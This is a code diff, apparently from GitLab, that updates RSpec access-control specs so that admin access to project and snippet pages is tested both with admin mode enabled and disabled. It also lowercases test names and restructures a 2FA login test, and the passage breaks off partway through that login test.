it { is_expected.to be_allowed_for(:maintainer).of(project) }
it { is_expected.to be_allowed_for(:developer).of(project) }
@@ -218,7 +232,8 @@ RSpec.describe "Private Project Access" do
describe "GET /:project_path/-/merge_requests" do
subject { project_merge_requests_path(project) }
- it { is_expected.to be_allowed_for(:admin) }
+ it('is allowed for admin when admin mode is enabled', :enable_admin_mode) { is_expected.to be_allowed_for(:admin) }
+ it('is denied for admin when admin mode is disabled') { is_expected.to be_denied_for(:admin) }
it { is_expected.to be_allowed_for(:owner).of(project) }
it { is_expected.to be_allowed_for(:maintainer).of(project) }
it { is_expected.to be_allowed_for(:developer).of(project) }
@@ -239,7 +254,8 @@ RSpec.describe "Private Project Access" do
end
end
- it { is_expected.to be_allowed_for(:admin) }
+ it('is allowed for admin when admin mode is enabled', :enable_admin_mode) { is_expected.to be_allowed_for(:admin) }
+ it('is denied for admin when admin mode is disabled') { is_expected.to be_denied_for(:admin) }
it { is_expected.to be_allowed_for(:owner).of(project) }
it { is_expected.to be_allowed_for(:maintainer).of(project) }
it { is_expected.to be_allowed_for(:developer).of(project) }
@@ -260,7 +276,8 @@ RSpec.describe "Private Project Access" do
end
end
- it { is_expected.to be_allowed_for(:admin) }
+ it('is allowed for admin when admin mode is enabled', :enable_admin_mode) { is_expected.to be_allowed_for(:admin) }
+ it('is denied for admin when admin mode is disabled') { is_expected.to be_denied_for(:admin) }
it { is_expected.to be_allowed_for(:owner).of(project) }
it { is_expected.to be_allowed_for(:maintainer).of(project) }
it { is_expected.to be_allowed_for(:developer).of(project) }
@@ -274,7 +291,8 @@ RSpec.describe "Private Project Access" do
describe "GET /:project_path/-/settings/integrations" do
subject { project_settings_integrations_path(project) }
- it { is_expected.to be_allowed_for(:admin) }
+ it('is allowed for admin when admin mode is enabled', :enable_admin_mode) { is_expected.to be_allowed_for(:admin) }
+ it('is denied for admin when admin mode is disabled') { is_expected.to be_denied_for(:admin) }
it { is_expected.to be_allowed_for(:owner).of(project) }
it { is_expected.to be_allowed_for(:maintainer).of(project) }
it { is_expected.to be_denied_for(:developer).of(project) }
@@ -288,7 +306,8 @@ RSpec.describe "Private Project Access" do
describe "GET /:project_path/pipelines" do
subject { project_pipelines_path(project) }
- it { is_expected.to be_allowed_for(:admin) }
+ it('is allowed for admin when admin mode is enabled', :enable_admin_mode) { is_expected.to be_allowed_for(:admin) }
+ it('is denied for admin when admin mode is disabled') { is_expected.to be_denied_for(:admin) }
it { is_expected.to be_allowed_for(:owner).of(project) }
it { is_expected.to be_allowed_for(:maintainer).of(project) }
it { is_expected.to be_allowed_for(:developer).of(project) }
@@ -316,7 +335,8 @@ RSpec.describe "Private Project Access" do
subject { project_pipeline_path(project, pipeline) }
- it { is_expected.to be_allowed_for(:admin) }
+ it('is allowed for admin when admin mode is enabled', :enable_admin_mode) { is_expected.to be_allowed_for(:admin) }
+ it('is denied for admin when admin mode is disabled') { is_expected.to be_denied_for(:admin) }
it { is_expected.to be_allowed_for(:owner).of(project) }
it { is_expected.to be_allowed_for(:maintainer).of(project) }
it { is_expected.to be_allowed_for(:developer).of(project) }
@@ -342,7 +362,8 @@ RSpec.describe "Private Project Access" do
describe "GET /:project_path/builds" do
subject { project_jobs_path(project) }
- it { is_expected.to be_allowed_for(:admin) }
+ it('is allowed for admin when admin mode is enabled', :enable_admin_mode) { is_expected.to be_allowed_for(:admin) }
+ it('is denied for admin when admin mode is disabled') { is_expected.to be_denied_for(:admin) }
it { is_expected.to be_allowed_for(:owner).of(project) }
it { is_expected.to be_allowed_for(:maintainer).of(project) }
it { is_expected.to be_allowed_for(:developer).of(project) }
@@ -371,7 +392,8 @@ RSpec.describe "Private Project Access" do
subject { project_job_path(project, build.id) }
- it { is_expected.to be_allowed_for(:admin) }
+ it('is allowed for admin when admin mode is enabled', :enable_admin_mode) { is_expected.to be_allowed_for(:admin) }
+ it('is denied for admin when admin mode is disabled') { is_expected.to be_denied_for(:admin) }
it { is_expected.to be_allowed_for(:owner).of(project) }
it { is_expected.to be_allowed_for(:maintainer).of(project) }
it { is_expected.to be_allowed_for(:developer).of(project) }
@@ -405,7 +427,8 @@ RSpec.describe "Private Project Access" do
subject { trace_project_job_path(project, build.id) }
- it { is_expected.to be_allowed_for(:admin) }
+ it('is allowed for admin when admin mode is enabled', :enable_admin_mode) { is_expected.to be_allowed_for(:admin) }
+ it('is denied for admin when admin mode is disabled') { is_expected.to be_denied_for(:admin) }
it { is_expected.to be_allowed_for(:owner).of(project) }
it { is_expected.to be_allowed_for(:maintainer).of(project) }
it { is_expected.to be_allowed_for(:developer).of(project) }
@@ -435,7 +458,8 @@ RSpec.describe "Private Project Access" do
describe "GET /:project_path/-/environments" do
subject { project_environments_path(project) }
- it { is_expected.to be_allowed_for(:admin) }
+ it('is allowed for admin when admin mode is enabled', :enable_admin_mode) { is_expected.to be_allowed_for(:admin) }
+ it('is denied for admin when admin mode is disabled') { is_expected.to be_denied_for(:admin) }
it { is_expected.to be_allowed_for(:owner).of(project) }
it { is_expected.to be_allowed_for(:maintainer).of(project) }
it { is_expected.to be_allowed_for(:developer).of(project) }
@@ -451,7 +475,8 @@ RSpec.describe "Private Project Access" do
subject { project_environment_path(project, environment) }
- it { is_expected.to be_allowed_for(:admin) }
+ it('is allowed for admin when admin mode is enabled', :enable_admin_mode) { is_expected.to be_allowed_for(:admin) }
+ it('is denied for admin when admin mode is disabled') { is_expected.to be_denied_for(:admin) }
it { is_expected.to be_allowed_for(:owner).of(project) }
it { is_expected.to be_allowed_for(:maintainer).of(project) }
it { is_expected.to be_allowed_for(:developer).of(project) }
@@ -467,7 +492,8 @@ RSpec.describe "Private Project Access" do
subject { project_environment_deployments_path(project, environment) }
- it { is_expected.to be_allowed_for(:admin) }
+ it('is allowed for admin when admin mode is enabled', :enable_admin_mode) { is_expected.to be_allowed_for(:admin) }
+ it('is denied for admin when admin mode is disabled') { is_expected.to be_denied_for(:admin) }
it { is_expected.to be_allowed_for(:owner).of(project) }
it { is_expected.to be_allowed_for(:maintainer).of(project) }
it { is_expected.to be_allowed_for(:developer).of(project) }
@@ -481,7 +507,8 @@ RSpec.describe "Private Project Access" do
describe "GET /:project_path/-/environments/new" do
subject { new_project_environment_path(project) }
- it { is_expected.to be_allowed_for(:admin) }
+ it('is allowed for admin when admin mode is enabled', :enable_admin_mode) { is_expected.to be_allowed_for(:admin) }
+ it('is denied for admin when admin mode is disabled') { is_expected.to be_denied_for(:admin) }
it { is_expected.to be_allowed_for(:owner).of(project) }
it { is_expected.to be_allowed_for(:maintainer).of(project) }
it { is_expected.to be_allowed_for(:developer).of(project) }
@@ -495,7 +522,8 @@ RSpec.describe "Private Project Access" do
describe "GET /:project_path/pipeline_schedules" do
subject { project_pipeline_schedules_path(project) }
- it { is_expected.to be_allowed_for(:admin) }
+ it('is allowed for admin when admin mode is enabled', :enable_admin_mode) { is_expected.to be_allowed_for(:admin) }
+ it('is denied for admin when admin mode is disabled') { is_expected.to be_denied_for(:admin) }
it { is_expected.to be_allowed_for(:owner).of(project) }
it { is_expected.to be_allowed_for(:maintainer).of(project) }
it { is_expected.to be_allowed_for(:developer).of(project) }
@@ -509,7 +537,8 @@ RSpec.describe "Private Project Access" do
describe "GET /:project_path/pipeline_schedules/new" do
subject { new_project_pipeline_schedule_path(project) }
- it { is_expected.to be_allowed_for(:admin) }
+ it('is allowed for admin when admin mode is enabled', :enable_admin_mode) { is_expected.to be_allowed_for(:admin) }
+ it('is denied for admin when admin mode is disabled') { is_expected.to be_denied_for(:admin) }
it { is_expected.to be_allowed_for(:owner).of(project) }
it { is_expected.to be_allowed_for(:maintainer).of(project) }
it { is_expected.to be_allowed_for(:developer).of(project) }
@@ -523,7 +552,8 @@ RSpec.describe "Private Project Access" do
describe "GET /:project_path/-/environments/new" do
subject { new_project_pipeline_schedule_path(project) }
- it { is_expected.to be_allowed_for(:admin) }
+ it('is allowed for admin when admin mode is enabled', :enable_admin_mode) { is_expected.to be_allowed_for(:admin) }
+ it('is denied for admin when admin mode is disabled') { is_expected.to be_denied_for(:admin) }
it { is_expected.to be_allowed_for(:owner).of(project) }
it { is_expected.to be_allowed_for(:maintainer).of(project) }
it { is_expected.to be_allowed_for(:developer).of(project) }
@@ -545,7 +575,8 @@ RSpec.describe "Private Project Access" do
subject { project_container_registry_index_path(project) }
- it { is_expected.to be_allowed_for(:admin) }
+ it('is allowed for admin when admin mode is enabled', :enable_admin_mode) { is_expected.to be_allowed_for(:admin) }
+ it('is denied for admin when admin mode is disabled') { is_expected.to be_denied_for(:admin) }
it { is_expected.to be_allowed_for(:owner).of(project) }
it { is_expected.to be_allowed_for(:maintainer).of(project) }
it { is_expected.to be_allowed_for(:developer).of(project) }
diff --git a/spec/features/security/project/public_access_spec.rb b/spec/features/security/project/public_access_spec.rb
index 75993959f6e..f2dbab72a48 100644
--- a/spec/features/security/project/public_access_spec.rb
+++ b/spec/features/security/project/public_access_spec.rb
@@ -102,7 +102,8 @@ RSpec.describe "Public Project Access" do
describe "GET /:project_path/-/settings/ci_cd" do
subject { project_settings_ci_cd_path(project) }
- it { is_expected.to be_allowed_for(:admin) }
+ it('is allowed for admin when admin mode is enabled', :enable_admin_mode) { is_expected.to be_allowed_for(:admin) }
+ it('is denied for admin when admin mode is disabled') { is_expected.to be_denied_for(:admin) }
it { is_expected.to be_allowed_for(:owner).of(project) }
it { is_expected.to be_allowed_for(:maintainer).of(project) }
it { is_expected.to be_denied_for(:developer).of(project) }
@@ -116,7 +117,8 @@ RSpec.describe "Public Project Access" do
describe "GET /:project_path/-/settings/repository" do
subject { project_settings_repository_path(project) }
- it { is_expected.to be_allowed_for(:admin) }
+ it('is allowed for admin when admin mode is enabled', :enable_admin_mode) { is_expected.to be_allowed_for(:admin) }
+ it('is denied for admin when admin mode is disabled') { is_expected.to be_denied_for(:admin) }
it { is_expected.to be_allowed_for(:owner).of(project) }
it { is_expected.to be_allowed_for(:maintainer).of(project) }
it { is_expected.to be_denied_for(:developer).of(project) }
@@ -181,7 +183,8 @@ RSpec.describe "Public Project Access" do
project.update(public_builds: false)
end
- it { is_expected.to be_allowed_for(:admin) }
+ it('is allowed for admin when admin mode is enabled', :enable_admin_mode) { is_expected.to be_allowed_for(:admin) }
+ it('is denied for admin when admin mode is disabled') { is_expected.to be_denied_for(:admin) }
it { is_expected.to be_allowed_for(:owner).of(project) }
it { is_expected.to be_allowed_for(:maintainer).of(project) }
it { is_expected.to be_allowed_for(:developer).of(project) }
@@ -220,7 +223,8 @@ RSpec.describe "Public Project Access" do
project.update(public_builds: false)
end
- it { is_expected.to be_allowed_for(:admin) }
+ it('is allowed for admin when admin mode is enabled', :enable_admin_mode) { is_expected.to be_allowed_for(:admin) }
+ it('is denied for admin when admin mode is disabled') { is_expected.to be_denied_for(:admin) }
it { is_expected.to be_allowed_for(:owner).of(project) }
it { is_expected.to be_allowed_for(:maintainer).of(project) }
it { is_expected.to be_allowed_for(:developer).of(project) }
@@ -259,7 +263,8 @@ RSpec.describe "Public Project Access" do
project.update(public_builds: false)
end
- it { is_expected.to be_allowed_for(:admin) }
+ it('is allowed for admin when admin mode is enabled', :enable_admin_mode) { is_expected.to be_allowed_for(:admin) }
+ it('is denied for admin when admin mode is disabled') { is_expected.to be_denied_for(:admin) }
it { is_expected.to be_allowed_for(:owner).of(project) }
it { is_expected.to be_allowed_for(:maintainer).of(project) }
it { is_expected.to be_allowed_for(:developer).of(project) }
@@ -274,7 +279,8 @@ RSpec.describe "Public Project Access" do
describe "GET /:project_path/pipeline_schedules" do
subject { project_pipeline_schedules_path(project) }
- it { is_expected.to be_allowed_for(:admin) }
+ it('is allowed for admin when admin mode is enabled', :enable_admin_mode) { is_expected.to be_allowed_for(:admin) }
+ it('is allowed for admin when admin mode is disabled') { is_expected.to be_allowed_for(:admin) }
it { is_expected.to be_allowed_for(:owner).of(project) }
it { is_expected.to be_allowed_for(:maintainer).of(project) }
it { is_expected.to be_allowed_for(:developer).of(project) }
@@ -288,7 +294,8 @@ RSpec.describe "Public Project Access" do
describe "GET /:project_path/-/environments" do
subject { project_environments_path(project) }
- it { is_expected.to be_allowed_for(:admin) }
+ it('is allowed for admin when admin mode is enabled', :enable_admin_mode) { is_expected.to be_allowed_for(:admin) }
+ it('is allowed for admin when admin mode is disabled') { is_expected.to be_allowed_for(:admin) }
it { is_expected.to be_allowed_for(:owner).of(project) }
it { is_expected.to be_allowed_for(:maintainer).of(project) }
it { is_expected.to be_allowed_for(:developer).of(project) }
@@ -304,7 +311,8 @@ RSpec.describe "Public Project Access" do
subject { project_environment_path(project, environment) }
- it { is_expected.to be_allowed_for(:admin) }
+ it('is allowed for admin when admin mode is enabled', :enable_admin_mode) { is_expected.to be_allowed_for(:admin) }
+ it('is allowed for admin when admin mode is disabled') { is_expected.to be_allowed_for(:admin) }
it { is_expected.to be_allowed_for(:owner).of(project) }
it { is_expected.to be_allowed_for(:maintainer).of(project) }
it { is_expected.to be_allowed_for(:developer).of(project) }
@@ -320,7 +328,8 @@ RSpec.describe "Public Project Access" do
subject { project_environment_deployments_path(project, environment) }
- it { is_expected.to be_allowed_for(:admin) }
+ it('is allowed for admin when admin mode is enabled', :enable_admin_mode) { is_expected.to be_allowed_for(:admin) }
+ it('is allowed for admin when admin mode is disabled') { is_expected.to be_allowed_for(:admin) }
it { is_expected.to be_allowed_for(:owner).of(project) }
it { is_expected.to be_allowed_for(:maintainer).of(project) }
it { is_expected.to be_allowed_for(:developer).of(project) }
@@ -334,7 +343,8 @@ RSpec.describe "Public Project Access" do
describe "GET /:project_path/-/environments/new" do
subject { new_project_environment_path(project) }
- it { is_expected.to be_allowed_for(:admin) }
+ it('is allowed for admin when admin mode is enabled', :enable_admin_mode) { is_expected.to be_allowed_for(:admin) }
+ it('is denied for admin when admin mode is disabled') { is_expected.to be_denied_for(:admin) }
it { is_expected.to be_allowed_for(:owner).of(project) }
it { is_expected.to be_allowed_for(:maintainer).of(project) }
it { is_expected.to be_allowed_for(:developer).of(project) }
@@ -363,7 +373,8 @@ RSpec.describe "Public Project Access" do
describe "GET /:project_path/edit" do
subject { edit_project_path(project) }
- it { is_expected.to be_allowed_for(:admin) }
+ it('is allowed for admin when admin mode is enabled', :enable_admin_mode) { is_expected.to be_allowed_for(:admin) }
+ it('is denied for admin when admin mode is disabled') { is_expected.to be_denied_for(:admin) }
it { is_expected.to be_allowed_for(:owner).of(project) }
it { is_expected.to be_allowed_for(:maintainer).of(project) }
it { is_expected.to be_denied_for(:developer).of(project) }
@@ -377,7 +388,8 @@ RSpec.describe "Public Project Access" do
describe "GET /:project_path/deploy_keys" do
subject { project_deploy_keys_path(project) }
- it { is_expected.to be_allowed_for(:admin) }
+ it('is allowed for admin when admin mode is enabled', :enable_admin_mode) { is_expected.to be_allowed_for(:admin) }
+ it('is denied for admin when admin mode is disabled') { is_expected.to be_denied_for(:admin) }
it { is_expected.to be_allowed_for(:owner).of(project) }
it { is_expected.to be_allowed_for(:maintainer).of(project) }
it { is_expected.to be_denied_for(:developer).of(project) }
@@ -407,7 +419,8 @@ RSpec.describe "Public Project Access" do
subject { edit_project_issue_path(project, issue) }
- it { is_expected.to be_allowed_for(:admin) }
+ it('is allowed for admin when admin mode is enabled', :enable_admin_mode) { is_expected.to be_allowed_for(:admin) }
+ it('is denied for admin when admin mode is disabled') { is_expected.to be_denied_for(:admin) }
it { is_expected.to be_allowed_for(:owner).of(project) }
it { is_expected.to be_allowed_for(:maintainer).of(project) }
it { is_expected.to be_allowed_for(:developer).of(project) }
@@ -435,7 +448,8 @@ RSpec.describe "Public Project Access" do
describe "GET /:project_path/snippets/new" do
subject { new_project_snippet_path(project) }
- it { is_expected.to be_allowed_for(:admin) }
+ it('is allowed for admin when admin mode is enabled', :enable_admin_mode) { is_expected.to be_allowed_for(:admin) }
+ it('is denied for admin when admin mode is disabled') { is_expected.to be_denied_for(:admin) }
it { is_expected.to be_allowed_for(:owner).of(project) }
it { is_expected.to be_allowed_for(:maintainer).of(project) }
it { is_expected.to be_allowed_for(:developer).of(project) }
@@ -463,7 +477,8 @@ RSpec.describe "Public Project Access" do
describe "GET /:project_path/-/merge_requests/new" do
subject { project_new_merge_request_path(project) }
- it { is_expected.to be_allowed_for(:admin) }
+ it('is allowed for admin when admin mode is enabled', :enable_admin_mode) { is_expected.to be_allowed_for(:admin) }
+ it('is denied for admin when admin mode is disabled') { is_expected.to be_denied_for(:admin) }
it { is_expected.to be_allowed_for(:owner).of(project) }
it { is_expected.to be_allowed_for(:maintainer).of(project) }
it { is_expected.to be_allowed_for(:developer).of(project) }
@@ -519,7 +534,8 @@ RSpec.describe "Public Project Access" do
describe "GET /:project_path/-/settings/integrations" do
subject { project_settings_integrations_path(project) }
- it { is_expected.to be_allowed_for(:admin) }
+ it('is allowed for admin when admin mode is enabled', :enable_admin_mode) { is_expected.to be_allowed_for(:admin) }
+ it('is denied for admin when admin mode is disabled') { is_expected.to be_denied_for(:admin) }
it { is_expected.to be_allowed_for(:owner).of(project) }
it { is_expected.to be_allowed_for(:maintainer).of(project) }
it { is_expected.to be_denied_for(:developer).of(project) }
diff --git a/spec/features/security/project/snippet/internal_access_spec.rb b/spec/features/security/project/snippet/internal_access_spec.rb
index 0667a2fd48a..12237863188 100644
--- a/spec/features/security/project/snippet/internal_access_spec.rb
+++ b/spec/features/security/project/snippet/internal_access_spec.rb
@@ -26,7 +26,8 @@ RSpec.describe "Internal Project Snippets Access" do
describe "GET /:project_path/snippets/new" do
subject { new_project_snippet_path(project) }
- it { is_expected.to be_allowed_for(:admin) }
+ it('is allowed for admin when admin mode is enabled', :enable_admin_mode) { is_expected.to be_allowed_for(:admin) }
+ it('is denied for admin when admin mode is disabled') { is_expected.to be_denied_for(:admin) }
it { is_expected.to be_allowed_for(:owner).of(project) }
it { is_expected.to be_allowed_for(:maintainer).of(project) }
it { is_expected.to be_allowed_for(:developer).of(project) }
@@ -55,7 +56,8 @@ RSpec.describe "Internal Project Snippets Access" do
context "for a private snippet" do
subject { project_snippet_path(project, private_snippet) }
- it { is_expected.to be_allowed_for(:admin) }
+ it('is allowed for admin when admin mode is enabled', :enable_admin_mode) { is_expected.to be_allowed_for(:admin) }
+ it('is denied for admin when admin mode is disabled') { is_expected.to be_denied_for(:admin) }
it { is_expected.to be_allowed_for(:owner).of(project) }
it { is_expected.to be_allowed_for(:maintainer).of(project) }
it { is_expected.to be_allowed_for(:developer).of(project) }
@@ -85,7 +87,8 @@ RSpec.describe "Internal Project Snippets Access" do
context "for a private snippet" do
subject { raw_project_snippet_path(project, private_snippet) }
- it { is_expected.to be_allowed_for(:admin) }
+ it('is allowed for admin when admin mode is enabled', :enable_admin_mode) { is_expected.to be_allowed_for(:admin) }
+ it('is denied for admin when admin mode is disabled') { is_expected.to be_denied_for(:admin) }
it { is_expected.to be_allowed_for(:owner).of(project) }
it { is_expected.to be_allowed_for(:maintainer).of(project) }
it { is_expected.to be_allowed_for(:developer).of(project) }
diff --git a/spec/features/security/project/snippet/private_access_spec.rb b/spec/features/security/project/snippet/private_access_spec.rb
index 0c97b012ad1..0f7ae06a6c5 100644
--- a/spec/features/security/project/snippet/private_access_spec.rb
+++ b/spec/features/security/project/snippet/private_access_spec.rb
@@ -12,7 +12,8 @@ RSpec.describe "Private Project Snippets Access" do
describe "GET /:project_path/snippets" do
subject { project_snippets_path(project) }
- it { is_expected.to be_allowed_for(:admin) }
+ it('is allowed for admin when admin mode is enabled', :enable_admin_mode) { is_expected.to be_allowed_for(:admin) }
+ it('is denied for admin when admin mode is disabled') { is_expected.to be_denied_for(:admin) }
it { is_expected.to be_allowed_for(:owner).of(project) }
it { is_expected.to be_allowed_for(:maintainer).of(project) }
it { is_expected.to be_allowed_for(:developer).of(project) }
@@ -26,7 +27,8 @@ RSpec.describe "Private Project Snippets Access" do
describe "GET /:project_path/snippets/new" do
subject { new_project_snippet_path(project) }
- it { is_expected.to be_allowed_for(:admin) }
+ it('is allowed for admin when admin mode is enabled', :enable_admin_mode) { is_expected.to be_allowed_for(:admin) }
+ it('is denied for admin when admin mode is disabled') { is_expected.to be_denied_for(:admin) }
it { is_expected.to be_allowed_for(:owner).of(project) }
it { is_expected.to be_allowed_for(:maintainer).of(project) }
it { is_expected.to be_allowed_for(:developer).of(project) }
@@ -40,7 +42,8 @@ RSpec.describe "Private Project Snippets Access" do
describe "GET /:project_path/snippets/:id for a private snippet" do
subject { project_snippet_path(project, private_snippet) }
- it { is_expected.to be_allowed_for(:admin) }
+ it('is allowed for admin when admin mode is enabled', :enable_admin_mode) { is_expected.to be_allowed_for(:admin) }
+ it('is denied for admin when admin mode is disabled') { is_expected.to be_denied_for(:admin) }
it { is_expected.to be_allowed_for(:owner).of(project) }
it { is_expected.to be_allowed_for(:maintainer).of(project) }
it { is_expected.to be_allowed_for(:developer).of(project) }
@@ -54,7 +57,8 @@ RSpec.describe "Private Project Snippets Access" do
describe "GET /:project_path/snippets/:id/raw for a private snippet" do
subject { raw_project_snippet_path(project, private_snippet) }
- it { is_expected.to be_allowed_for(:admin) }
+ it('is allowed for admin when admin mode is enabled', :enable_admin_mode) { is_expected.to be_allowed_for(:admin) }
+ it('is denied for admin when admin mode is disabled') { is_expected.to be_denied_for(:admin) }
it { is_expected.to be_allowed_for(:owner).of(project) }
it { is_expected.to be_allowed_for(:maintainer).of(project) }
it { is_expected.to be_allowed_for(:developer).of(project) }
diff --git a/spec/features/security/project/snippet/public_access_spec.rb b/spec/features/security/project/snippet/public_access_spec.rb
index 20a271f9c0e..2ae08205602 100644
--- a/spec/features/security/project/snippet/public_access_spec.rb
+++ b/spec/features/security/project/snippet/public_access_spec.rb
@@ -27,7 +27,8 @@ RSpec.describe "Public Project Snippets Access" do
describe "GET /:project_path/snippets/new" do
subject { new_project_snippet_path(project) }
- it { is_expected.to be_allowed_for(:admin) }
+ it('is allowed for admin when admin mode is enabled', :enable_admin_mode) { is_expected.to be_allowed_for(:admin) }
+ it('is denied for admin when admin mode is disabled') { is_expected.to be_denied_for(:admin) }
it { is_expected.to be_allowed_for(:owner).of(project) }
it { is_expected.to be_allowed_for(:maintainer).of(project) }
it { is_expected.to be_allowed_for(:developer).of(project) }
@@ -70,7 +71,8 @@ RSpec.describe "Public Project Snippets Access" do
context "for a private snippet" do
subject { project_snippet_path(project, private_snippet) }
- it { is_expected.to be_allowed_for(:admin) }
+ it('is allowed for admin when admin mode is enabled', :enable_admin_mode) { is_expected.to be_allowed_for(:admin) }
+ it('is denied for admin when admin mode is disabled') { is_expected.to be_denied_for(:admin) }
it { is_expected.to be_allowed_for(:owner).of(project) }
it { is_expected.to be_allowed_for(:maintainer).of(project) }
it { is_expected.to be_allowed_for(:developer).of(project) }
@@ -114,7 +116,8 @@ RSpec.describe "Public Project Snippets Access" do
context "for a private snippet" do
subject { raw_project_snippet_path(project, private_snippet) }
- it { is_expected.to be_allowed_for(:admin) }
+ it('is allowed for admin when admin mode is enabled', :enable_admin_mode) { is_expected.to be_allowed_for(:admin) }
+ it('is denied for admin when admin mode is disabled') { is_expected.to be_denied_for(:admin) }
it { is_expected.to be_allowed_for(:owner).of(project) }
it { is_expected.to be_allowed_for(:maintainer).of(project) }
it { is_expected.to be_allowed_for(:developer).of(project) }
diff --git a/spec/features/snippets/private_snippets_spec.rb b/spec/features/snippets/private_snippets_spec.rb
index 03745c1025a..7ff27419cf7 100644
--- a/spec/features/snippets/private_snippets_spec.rb
+++ b/spec/features/snippets/private_snippets_spec.rb
@@ -11,7 +11,7 @@ RSpec.describe 'Private Snippets', :js do
sign_in(user)
end
- it 'Private Snippet renders for creator' do
+ it 'private Snippet renders for creator' do
visit snippet_path(private_snippet)
wait_for_requests
diff --git a/spec/features/snippets/public_snippets_spec.rb b/spec/features/snippets/public_snippets_spec.rb
index d2dc85a9614..0f27d96d8e9 100644
--- a/spec/features/snippets/public_snippets_spec.rb
+++ b/spec/features/snippets/public_snippets_spec.rb
@@ -6,7 +6,7 @@ RSpec.describe 'Public Snippets', :js do
let(:public_snippet) { create(:personal_snippet, :public, :repository) }
let(:content) { public_snippet.blobs.first.data.strip! }
- it 'Unauthenticated user should see public snippets' do
+ it 'unauthenticated user should see public snippets' do
url = Gitlab::UrlBuilder.build(public_snippet)
visit snippet_path(public_snippet)
@@ -18,7 +18,7 @@ RSpec.describe 'Public Snippets', :js do
expect(page).to have_field('Share', readonly: true, with: url)
end
- it 'Unauthenticated user should see raw public snippets' do
+ it 'unauthenticated user should see raw public snippets' do
visit raw_snippet_path(public_snippet)
expect(page).to have_content(content)
diff --git a/spec/features/snippets/search_snippets_spec.rb b/spec/features/snippets/search_snippets_spec.rb
index 4f299edc9da..46bc3b7caad 100644
--- a/spec/features/snippets/search_snippets_spec.rb
+++ b/spec/features/snippets/search_snippets_spec.rb
@@ -3,7 +3,7 @@
require 'spec_helper'
RSpec.describe 'Search Snippets' do
- it 'User searches for snippets by title' do
+ it 'user searches for snippets by title' do
public_snippet = create(:personal_snippet, :public, title: 'Beginning and Middle')
private_snippet = create(:personal_snippet, :private, title: 'Middle and End')
diff --git a/spec/features/snippets/user_creates_snippet_spec.rb b/spec/features/snippets/user_creates_snippet_spec.rb
index 1e51210c2b8..ca050daa62a 100644
--- a/spec/features/snippets/user_creates_snippet_spec.rb
+++ b/spec/features/snippets/user_creates_snippet_spec.rb
@@ -25,7 +25,7 @@ RSpec.describe 'User creates snippet', :js do
snippet_fill_in_form(title: title, content: file_content, description: md_description)
end
- it 'Authenticated user creates a snippet' do
+ it 'authenticated user creates a snippet' do
fill_form
click_button('Create snippet')
diff --git a/spec/features/snippets/user_snippets_spec.rb b/spec/features/snippets/user_snippets_spec.rb
index a313dc3b26a..fe39208213a 100644
--- a/spec/features/snippets/user_snippets_spec.rb
+++ b/spec/features/snippets/user_snippets_spec.rb
@@ -13,13 +13,13 @@ RSpec.describe 'User Snippets' do
visit dashboard_snippets_path
end
- it 'View all of my snippets' do
+ it 'view all of my snippets' do
expect(page).to have_link(public_snippet.title, href: snippet_path(public_snippet))
expect(page).to have_link(internal_snippet.title, href: snippet_path(internal_snippet))
expect(page).to have_link(private_snippet.title, href: snippet_path(private_snippet))
end
- it 'View my public snippets' do
+ it 'view my public snippets' do
page.within('.snippet-scope-menu') do
click_link "Public"
end
@@ -29,7 +29,7 @@ RSpec.describe 'User Snippets' do
expect(page).not_to have_content(private_snippet.title)
end
- it 'View my internal snippets' do
+ it 'view my internal snippets' do
page.within('.snippet-scope-menu') do
click_link "Internal"
end
@@ -39,7 +39,7 @@ RSpec.describe 'User Snippets' do
expect(page).not_to have_content(private_snippet.title)
end
- it 'View my private snippets' do
+ it 'view my private snippets' do
page.within('.snippet-scope-menu') do
click_link "Private"
end
diff --git a/spec/features/usage_stats_consent_spec.rb b/spec/features/usage_stats_consent_spec.rb
index 04bdf25acc0..6fa1d7d76b5 100644
--- a/spec/features/usage_stats_consent_spec.rb
+++ b/spec/features/usage_stats_consent_spec.rb
@@ -19,6 +19,7 @@ RSpec.describe 'Usage stats consent' do
end
gitlab_sign_in(user)
+ gitlab_enable_admin_mode_sign_in(user)
end
it 'hides the banner permanently when sets usage stats' do
diff --git a/spec/features/users/active_sessions_spec.rb b/spec/features/users/active_sessions_spec.rb
index 8e2e16e555e..fab9f0884ae 100644
--- a/spec/features/users/active_sessions_spec.rb
+++ b/spec/features/users/active_sessions_spec.rb
@@ -3,7 +3,7 @@
require 'spec_helper'
RSpec.describe 'Active user sessions', :clean_gitlab_redis_shared_state do
- it 'Successful login adds a new active user login' do
+ it 'successful login adds a new active user login' do
now = Time.zone.parse('2018-03-12 09:06')
Timecop.freeze(now) do
user = create(:user)
@@ -26,7 +26,7 @@ RSpec.describe 'Active user sessions', :clean_gitlab_redis_shared_state do
end
end
- it 'Successful login cleans up obsolete entries' do
+ it 'successful login cleans up obsolete entries' do
user = create(:user)
Gitlab::Redis::SharedState.with do |redis|
@@ -40,7 +40,7 @@ RSpec.describe 'Active user sessions', :clean_gitlab_redis_shared_state do
end
end
- it 'Sessionless login does not clean up obsolete entries' do
+ it 'sessionless login does not clean up obsolete entries' do
user = create(:user)
personal_access_token = create(:personal_access_token, user: user)
@@ -56,7 +56,7 @@ RSpec.describe 'Active user sessions', :clean_gitlab_redis_shared_state do
end
end
- it 'Logout deletes the active user login' do
+ it 'logout deletes the active user login' do
user = create(:user)
gitlab_sign_in(user)
expect(current_path).to eq root_path
diff --git a/spec/features/users/login_spec.rb b/spec/features/users/login_spec.rb
index 0761c1871d3..e4a8d836413 100644
--- a/spec/features/users/login_spec.rb
+++ b/spec/features/users/login_spec.rb
@@ -742,28 +742,65 @@ RSpec.describe 'Login' do
end
context 'when the user did not enable 2FA' do
- it 'asks to set 2FA before asking to accept the terms' do
- expect(authentication_metrics)
- .to increment(:user_authenticated_counter)
+ context 'when `vue_2fa_recovery_codes` feature flag is disabled' do
+ before do
+ stub_feature_flags(vue_2fa_recovery_codes: false)
+ end
- visit new_user_session_path
+ it 'asks to set 2FA before asking to accept the terms' do
+ expect(authentication_metrics)
+ .to increment(:user_authenticated_counter)
- fill_in 'user_login', with: user.email
- fill_in 'user_password', with: '12345678'
+ visit new_user_session_path
- click_button 'Sign in'
+ fill_in 'user_login', with: user.email
+ fill_in 'user_password', with: '12345678'
- expect_to_be_on_terms_page
- click_button 'Accept terms'
+ click_button 'Sign in'
+
+ expect_to_be_on_terms_page
+ click_button 'Accept terms'
+
+ expect(current_path).to eq(profile_two_factor_auth_path)
+
+ fill_in 'pin_code', with: user.reload.current_otp
- expect(current_path).to eq(profile_two_factor_auth_path)
+ click_button 'Register with two-factor app'
- fill_in 'pin_code', with: user.reload.current_otp
+ expect(page).to have_content('Congratulations! You have enabled Two-factor Authentication!')
